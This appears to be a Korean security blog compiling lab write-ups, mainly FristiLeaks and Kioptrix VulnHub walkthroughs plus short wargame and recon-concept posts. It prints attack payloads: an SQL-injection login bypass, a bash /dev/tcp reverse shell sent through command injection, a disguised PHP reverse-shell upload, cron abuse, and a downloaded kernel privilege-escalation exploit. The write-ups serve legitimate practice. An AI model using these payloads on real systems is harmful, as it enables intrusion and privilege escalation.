https://www.vulnhub.com/entry/fristileaks-13,133/

 

FristiLeaks: 1.3

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

실습 환경 : VirtualBox

 

VirtualBox에서 파일 -> 가상머신 가져오기 -> 다운받은 ova 파일 선택 -> 설정 -> 네트워크 -> 어뎁터에 브릿지

이렇게 설정만 해주었고, 특별한 것은 없었습니다. 

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.64
Host is up (0.00020s latency).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
...

 

이번엔 가장 흔히 사용하는 포트 1000개에 대해서 포트 스캐닝을 해보겠습니다

└─$ sudo nmap --top-ports 1000 --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.64 -oA tcp-1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:05 KST
Nmap scan report for 192.168.45.64
Host is up (0.00044s latency).
Not shown: 992 filtered tcp ports (no-response), 7 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds

 

유일하게 80번 포트만 열려있다.

└─$ nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open  192.168.45.64 -oA tcpDetailed           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:06 KST
Nmap scan report for 192.168.45.64
Host is up (0.00046s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-methods: 
|_  Potentially risky methods: TRACE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds

robots.txt 가 존재하고 허용되지 않는 엔드포인트는 3개가 있다

 

WEB

대상 호스트의 웹 페이지 페이지 소스에서는 별 다른 점은 없고 주석으로 뭔가 설명하는 글이 적혀있네요

<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA

Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->

robots.txt의 Disallow는 늘 흥미를 불러일으키죠

3개의 엔드포인트는 전부다,,단서가 될만한 것은 없습니다. 페이지 소스에서도 마찬가지였습니다

 

첫 웹사이트 페이지 사진에 나와있는 단어들을 포함시켜 gobuster를 이용하여 디렉터리 브루트포싱을 진행합니다 robots.txt에 있었던 디렉터리는 제외시킵니다

 

└─$ cat dirbrute.txt 
keep
calm
and
drink
fristi

 

 

하나 건졌네요

/fristi 로 접속해봅시다. 혹시 SQL Injection이 될 수도 있으니 ' 를 넣어 테스트해봤는데 취약한점 발견하지 못했다.

페이지 소스를 확인해본 결과

<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->

eezeepz 라는 이름을 발견했고, 주석표시된 base64로 인코딩된 코드가 발견되었습니다

<!-- 
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->

base64 디코딩을 해봤지만 아닌거 같았고, https://base64.guru/converter/decode/image 사이트에서 이미지로 변환하는 방법을 사용해 봅니다

이번 실습 VM 제작자는 유쾌하신분 인가봅니다..ㅋㅋㅋ

keKkeKKeKKeKkEkkEk 비밀번호일거같은 느낌이 확왔습니다

# credentials

eezeepz:keKkeKKeKKeKkEkkEk

 

익스플로잇

그러네요 맞습니다. 파일을 업로드하라는 것을 보니 php-reverse-shell.php를 준비해야겠죠?? 바로 준비해서 파일을 업로드해봅시다

그러네요 확장자가 정해져있었어요

└─$ mv php-reverse-shell.php revshell.php.png

확장자를 png로 바꾸고 업로드를하니 성공했습니다. 파일 업로드를하니 파일은 /uploads에 업로드되었다고 친절히 알려주네요

# revse shell listening
└─$ nc -nlvp 3434

 

 

파일 업로드 우회 공격을 통해서 대상 호스트에 초기 침투 까지 완료했습니다

 

권한 상

대상 호스트에 초기 침투까지 완료했습니다. 우선 /etc/passwd 부터 확인을 해줍니다

bash-4.1$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin

 

eezeepz, admin,fristgod 등 3개의 유저에 접근할 수 있을 것으로 예상된다

# /home/eezeepz
bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

 

해석을 하자면

1. 자동화 체크를 할 수 있게 해놓았는데. /usr/bin 시스템 바이너리에만 접근을 줬다

2. 자주 사용하는 명령어는 Jerry라는 사람의 홈디렉터리에 복사해놨다고 한다 (chmod,df,cat,echo,ps,grep,egrep) 이 명령어는 /home/admin에서 사용가능 -> 꼭 절대 경로로 지정을 해야함

3. /tmp에 runthis 파일을 만들어 명령어를 넣으면,,,,출력은 cronresult 파일로 저장된다. -> 매 분마다 실행되는 cronjob 이다

 

라고 한다

 

bash-4.1$ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
bash-4.1$ cd /tmp; ls
cd /tmp; ls
runthis
bash-4.1$ ls   
ls
runthis

잠깐 대기한 후

bash-4.1$ ls
ls
cronresult  runthis

bash-4.1$ cd /home/admin 
cd /home/admin

접근 권한이 없던 디렉터리인 /home/admin으로 접근 성공했다.

 

bash-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

bash-4.1$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

bash-4.1$ cat cryptpass.py 
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

디렉터리에 있는 파일들을 읽어보아하니 암호화된 무언가의 문자 그리고 그것을 인코딩했던 파이썬 코드가 있는것 같다

 

그전에 파이썬 코드를 가져와서 직접 실행 시켜봐야겠다

 

└─$ python2 encode.py mVGZ3O3omkJLmy2pcuTq
=RUI1ATplxKoZc0ng92ZCAwJUMIo
                                                                              
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
UEIFjxRI1yUp6yRHAuHGf52FOOwoTWIC

암호문의 암호문이다. 그렇다면 암호화 시키는 코드를 암호화를 푸는 코드로 변경 후에 실행 시켜본다

 

import base64,codecs,sys

def encodeString(str):
    #encoding
    #base64string= base64.b64encode(str)
    #return codecs.encode(base64string[::-1], 'rot13')
    
    #decoding
    base64decode = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(base64decode)

cryptoResult=encodeString(sys.argv[1])
print cryptoResult


# 실행
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!

암호회된 문자열을 디코딩한 후에 fristgod 계정의 비밀번호를 획득했다. 

 

이제 얼마 안남은 것 같다

bash-4.1$ cd
cd
bash-4.1$ pwd
pwd
/var/fristigod
bash-4.1$ ls -al
ls -al
total 16
drwxr-x---   3 fristigod fristigod 4096 Nov 25  2015 .
drwxr-xr-x. 19 root      root      4096 Nov 19  2015 ..
-rw-------   1 fristigod fristigod  864 Nov 25  2015 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4096 Nov 25  2015 .secret_admin_stuff

cd 명령어로 fristigod 유저의 홈디렉터리로 이동한 다음 .bash_history 파일을 한번 흝어본다

/var/fristigod/.secret_admin_stuff/doCom 이 경로에 있는 doCom 은 비밀번호 없이 sudo로 사용이 가능하다 나도 한번 시도해본다

fristi 유저로 실행 시켜야 doCom이 실행되는 것을 확인했다.

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Usage: ./program_name terminal_command ...bash-4.1$ id
id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

이렇게 일회성 쉘을 제공하고 한가지를 입력하면 그것이 실행되는것 같다 

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

찾았다. bash_history에서 본 것 같이 뒤에 명령어를 붙이면 관리자 권한으로 명령어가 실행된다. sudo를 정상적으로 사용할 수 있으니 당연한 것인가...?

 

우선 그렇다면 이제 이 문제는 다 풀었다.

이렇게 하면 관리자 권한의 쉘을 획득할 수 있다.

 

홈 디렉터리를 확인해보라고하고 매우 중요하니 삭제하지 말라고합니다

 

bash-4.1# cd /root
cd /root
bash-4.1# ls
ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: 이 플래그는 제가 가져갑니다!

https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

 

Kioptrix: Level 1.1 (#2)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

실습 VM이 IP가 안잡힌다면 이전 글에서 설명한 실습 VM 셋팅을 보시고 셋팅을 하면 잘 잡힙니다.

 

실습 환경 : VirtualBox(Kali, 실습VM)

 

Kioptrix 시리즈가 5개 정도 있는데 이번엔 두번째 Level 1.1을 실습해보도록 하겠습니다. 

 

정보 수집

Nmap 툴을 이용한 통신 가능한 대상 호스트 확인 후 포트스캐닝 진행한다.

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.88
Host is up (0.00058s latency).
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)
...
└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.88 -oA tcpAll  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 16:59 KST
Nmap scan report for 192.168.45.88
Host is up (0.00046s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
613/tcp  open  hmmp-op
631/tcp  open  ipp
3306/tcp open  mysql
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds

# 포트번호 파싱
└─$ cat tcpAll.nmap | awk '{ print $1 }' | grep -i 'tcp' | tr -d '/tcp' | paste -s -d ','
22,80,111,443,613,631,3306

# tcpDetiled 
└─$ sudo nmap -p 22,80,111,443,613,631,3306 -sV -sC -Pn --max-retries 1 --min-rate 2000 -n --open 192.168.45.88 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 17:01 KST
Nmap scan report for 192.168.45.88                                            
Host is up (0.00041s latency).  
                                       
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:                                                                
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).                                                                                          
111/tcp  open  rpcbind  2 (RPC #100000)                     
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            610/udp   status
|_  100024  1            613/tcp   status
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
|_ssl-date: 2024-06-17T12:02:05+00:00; +3h59m56s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47 
|_Not valid after:  2010-10-08T00:10:47 
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
|_http-server-header: Apache/2.0.52 (CentOS)
613/tcp  open  status   1 (RPC #100024) 
631/tcp  open  ipp      CUPS 1.1
|_http-server-header: CUPS/1.1
| http-methods: 
|_  Potentially risky methods: PUT
|_http-title: 403 Forbidden
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)

Host script results:
|_clock-skew: 3h59m55s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds

22 - openssh 3.9p1

80 - apache httpd 2.0.52 (CentOS)

443 - ssl/http apache httpd 2.0.52

631 - ipp cups 1.1 (프린터 관련 포트)

3306 - mysql (unauthorized)

 

WEB

우선 가장 쉽게 정보 수집이나 취약점을 파악하여 연계할 수 있는 웹 취약점 부터 파악한다

첫 페이지에서 관리자 계정으로 로그인할 수 있는 페이지가 뜬다. Wappalyzer에 의하면 apache 2.0.52, PHP 4.3.9를 사용하고 있다고 한다.

robots.txt 및 페이지 소스에서 획득할만한 정보 없다. gobuster 툴을 이용해 디렉터리 브루트포싱을 한다

apache를 설치하고 기본적인 메뉴얼에 대한 설명이 적혀있는 것을 확인할 수 있는데, 웹 서버를 구축한 관리자가 이 페이지를 지우지 않는다면 이 또한 공격자가 공격할 취약점이 될 수 있다는점 명심해야한다.

 

MYSQL

└─$ mysql -u root -h 192.168.45.88 
ERROR 1130 (HY000): Host '192.168.45.219' is not allowed to connect to this MySQL server

 

Mysql이 unauthorized 상태에 있었지만 외부에서 접근하는것은 불가능하다. 그렇다면 웹 사이트에서 SQL Injection 공격을 해본다

 

username : admin' or '1'='1

password: 아무거나

SQL Injection 공격이 성공했다. ping을 보낼 수 있는 cmd 창이 뜨는데 127.0.0.1을 넣어 테스트를 한번 해본다

이렇게 새로운 창이 뜨면서 결과가 출력되는데 어쩌면 Command Injection 까지 할 수 있는 발판이 마련되었다.

Command Injection 공격까지 취약한 것을 파악했다.

그렇다면 간단한 한줄 페이로드를 생성하여 cmd 에 삽입한 후에 리버스쉘을 획득한다

 

익스플로잇 

SQL Injection 이후 Command Injection 까지 취약점을 발견하였고, 테스트 결과 성공하였다.

웹쉘보단 리버스쉘을 선호하는 나는 revshells.com를 참고하여 bash 쉘에서 사용할 수 있는 간단한 리버스쉘 코드를 작성하였다.

/bin/bash -i >& /dev/tcp/192.168.45.219/7777 0>&1

리버스쉘을 얻는 것이기 때문에 공격자가 받을 수 있는 IP와 포트번호를 적은 후 netcat 명령어를 이용하여 리버스쉘을 획득한다

핑을 보낸 결과를 출력하는 웹 페이지에서는 로딩이 되고있지만 공격자 PC에서는 리버스쉘을 획득했다.

 

후속 정보 수집

간단히 리버스쉘 업그레이드를 한 후에 후속 정보 수집을 한다. 업그레이드가 되었다면 ssh 연결된 것과 같기 때문에 실수로 끄는 일은 없을 것이다.

1. python -c 'import pty;pty.spawn("/bin/bash")' 
2. ctrl+z 
3. stty raw -echo; fg 
4. reset

 

index.php파일을 읽어 데이터베이스에 대한 정보가 있는지 확인한다.

bash-3.00$ cat index.php                                                      
<?php                        
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error()); 
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");                                            
                                                                              
        if ($_POST['uname'] != ""){
                $username = $_POST['uname'];
                $password = $_POST['psw'];
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
                //print $query."<br>";
                $result = mysql_query($query);

                $row = mysql_fetch_array($result);
                //print "ID: ".$row['id']."<br />";
        }

?>

평문화된 유저 이름과, 비밀번호가 있는 것을 확인했다. 데이터베이스에 접근하여 다른 취약점이 있는지 확인한다

bash-3.00$ mysql -u john -p
mysql -u john -p
Enter password: hiroshima

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 352 to server version: 4.1.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
| webapp   |
+----------+
3 rows in set (0.00 sec)

정상적으로 접근이 성공했다. 

데이터베이스에서 역시 두개의 유저를 발견, 해시화 되지 않고 평문화된 비밀번호 획득했다. 평문화된 비밀번호 대신 최신 알고리즘을 사용한 해시화된 알고리즘을 사용하는 것을 권장한다.

 

권한 상승

권한 상승을 위한 linpeas.sh 스크립트를 실행 시킨다.

딱히 권한 상승을 할 만한 취약점이 없었는데 시스템에 대한 정보가 눈에 들어왔다

대상 호스트는 CentOS 4.5 리눅스 커널은 2.6.9이다. 한번더 searchsploit 툴을 이용해 공개 취약점이 있는지 검색해본다

사용할 것은 9542.c, CVE-2009-2698 코드를 가지고 있는 공개 취약점이다.

** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).

권한 상승 익스플로잇 코드에서 발췌한 내용이다. 대상 호스트와 동일한 OS와 커널 버전을 테스트 했다고 명시되어있다.

공격자 PC에서 파일을 다운, 컴파일 후 대상 호스트에서 실행시킨다.

 

# 익스플로잇 코드 가져오기
└─$ searchsploit -m 9542 .

# 공격자PC에서 웹 서버 열기
└─$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

# 대상 호스트에서 다운로드
bash-3.00$ wget http://192.168.45.219:1234/9542.c

대상 호스트에서 컴파일 후에 실행.  최종적으로 관리자 권한을 획득했다. 

 

 

풀이

┌──(root㉿kali)-[~/raccoon/rcity]
└─# ssh rcity2@ctf.redraccoon.kr -p 31338
rcity2@ctf.redraccoon.kr's password: 


rcity2@04d1eb9322c1:~$ ls -al
total 28
drwxr-xr-x 1 root root   4096 Mar  6 08:04 .
drwxr-xr-x 1 root root   4096 Mar  6 08:03 ..
-r--r----- 1 root rcity2   20 Mar  6 08:04 ...catthisfile.txt
-rw-r--r-- 1 root root    220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 root root   3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 root root    807 Jan  6  2022 .profile
rcity2@04d1eb9322c1:~$ cat ...catthisfile.txt 
e7G5D8yL0qR6v4s3W9Z

 

숨겨진 파일을 찾기 위해서 ls -al 명령어를 사용하여 flag 획득

'rcity' 카테고리의 다른 글

rcity5 Write-Up  (0) 2024.03.31
rcity4 Write-Up  (0) 2024.03.31
rcity3 Write-Up  (1) 2024.03.31
rcity1 Write-Up  (0) 2024.03.31
rcity0 Write-Up  (1) 2024.03.31

 

 

┌──(root㉿kali)-[~/raccoon/rcity]
└─# ssh rcity1@ctf.redraccoon.kr -p 31338
rcity1@ctf.redraccoon.kr's password: (rcity0에서 얻은 flag)

rcity1@04d1eb9322c1:~$ find ./ -name "flag.txt"
rcity1@04d1eb9322c1:~$ ls
 flag  'maybe here'   nowaithere
rcity1@04d1eb9322c1:~$ find ./ -name "*.txt"
./maybe here/fl ag.txt
rcity1@04d1eb9322c1:~$ cat ./maybe\ here/fl\ ag.txt 
n1zP6Q3jX4wC7r2bH5T

 

flag.txt 파일을 그대로 검색해 봤더니 검색이 안된걸 보고 뭔가 파일에 띄어쓰기나 다른 것이 포함된 것같아서 와일드카드를 이용하서 다시 find 명령어로 검색

'rcity' 카테고리의 다른 글

rcity5 Write-Up  (0) 2024.03.31
rcity4 Write-Up  (0) 2024.03.31
rcity3 Write-Up  (1) 2024.03.31
rcity2 Write-Up  (1) 2024.03.31
rcity0 Write-Up  (1) 2024.03.31

 

 

 

ssh rcity0@ctf.redraccoon.kr -p 31338
rcity0

------------------접속------------------------

rcity0@04d1eb9322c1:~$ ls
flag
rcity0@04d1eb9322c1:~$ cat flag 
d9mK4R2cS1gJ3o7V8A0

 

간단한 ssh 접속으로 다음 rcity1의 비밀번호를 얻는 워게임 rcity를 시작하겠습니다

'rcity' 카테고리의 다른 글

rcity5 Write-Up  (0) 2024.03.31
rcity4 Write-Up  (0) 2024.03.31
rcity3 Write-Up  (1) 2024.03.31
rcity2 Write-Up  (1) 2024.03.31
rcity1 Write-Up  (0) 2024.03.31

 

웹 기본 정보 수집

  • Robots.txt
  • 서버 헤더, 버전, 이름 확인
    • 공개 취약점 검색
  • 프론트엔드, 백엔드 테크 스택(Tech Stack) 확인
  • 디렉토리 브루트포싱(Directory Brutefocing)
  • Spidering

 

 

Robots.txt

  • 검색 엔진 크롤러들을 위한 권한 및 규칙
  • 보안 경계가 아님
  • 검색 엔진 -> 크롤러 -> 웹 서버 + 웹 페이지 크롤
  • User-Agent : 크롤러 유저 에이전트 특징
  • Allow : 특정 디렉토리/페이지 크롤링 허용
  • Disallow : 특정 디렉토리/페이지 크롤링 거부
# Example 1 : Block only googlebot
User-agent: Googlebot
Disallow: /

# Example 2 : Block Googlebot and Adsbot
User-agent: Googlebot
User-agent: AdsBot-Google
Disallow: /

# Example 3 " Block all crawler
User-agent: *
Disallow: /

웹 검색엔진은 크롤러들을 무수히 많이 보유하고있다

크롤러들은 수많은 웹 서버들과 페이지들을 스캔한다고 보면된다. 예를 들어 페이지들이나 index.html 같은 파일들을 크롤링한다 그렇게 크롤링된 페이지들이 사용자가 검색엔진에서 검색을 하게 되었을때 화면에 표출되게 해준다

하지만 웹 사이트를 운영하는 입장에서는 중요한 정보나 민감한 정보들을 보지 못하게하고 싶은 경우가 있을 것인데 그런 페이지를 허용하거나 불허 하는 규칙을 지정해놓은 것이 Robots.txt 이다

 

디렉터리 브루트포싱

  • Directory Brutefocing
  • 숨겨진 디렉토리, 페이지 등을 찾기 위해서 사용하는 기법 중의 하나
  • 특정 wordlist + 파일 확장자 -> 브루트포스
  • 주의 -> 요청 속도에 따라 블랙리스트에 올라갈 수 있다.
  • 툴 -> Gobuster, Dirb, Feroxbuster(새로운 툴)

공격자와 타겟 웹서버가 있다고 한다면 웹서버는 뒤에 가지고 있는 디렉터리나 페이지 등이 있을 것인데 이것을 굳이 표출하지 않아도 되는 것들도 많이 있을 것이다. 공격자 입장에서는 그래서 이 숨겨진 파일이나 디렉터리가 존재하는지 모를 것이다. 공격자는 그것을 알기 위해서 wordlist를 준비해서 하나하나 질의하는 것을 Directory Brutefocing 이라고한다.

주의 할점은 블랙리스트에 올라갈 수 있는데, 왜냐하면 웹 서버 입장에서는 수천 수만개의 요청을 보내면 수상하다고 여길 수 있기 때문이다.

이것을 우회하기 위해 proxy, serverless등을 많이 이용한다

 

 

그래서!??

  • 웹 서버와 웹 어플리케이션 == 좋은 공격 표면
  • 정보 수집 - Robotx.txt, 디렉터리 브루트포싱
  • 정보 수집을 바탕으로 한 추가 공격이 가능하다
  • 방어자 입장에서의 Robots.txt, 디렉터리 브루트포싱
    • 민감한 디렉터리/페이지
    • Rate Limiting -> 중요한 
    • WAF

 

 

'개념' 카테고리의 다른 글

일단 배우는 모의해킹 개념 - 정보 수집  (1) 2024.03.26

https://tryhackme.com/r/room/rrootme

 

기본 정보 수집 및 포트스캐닝을 배우기위해 RootMe 박스를 모의해킹

 

 

 

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213

┌──(root㉿kali)-[~/raccoon/rootme]
└─# cat tcpFull.nmap 
# Nmap 7.94SVN scan initiated Sun Mar 24 00:29:52 2024 as: nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sun Mar 24 00:30:28 2024 -- 1 IP address (1 host up) scanned in 36.79 seconds

-p- --max-retries 2 : 모든 포트를 2번 시도해라

-Pn : 호스트 디스커버리 하지 않겠다

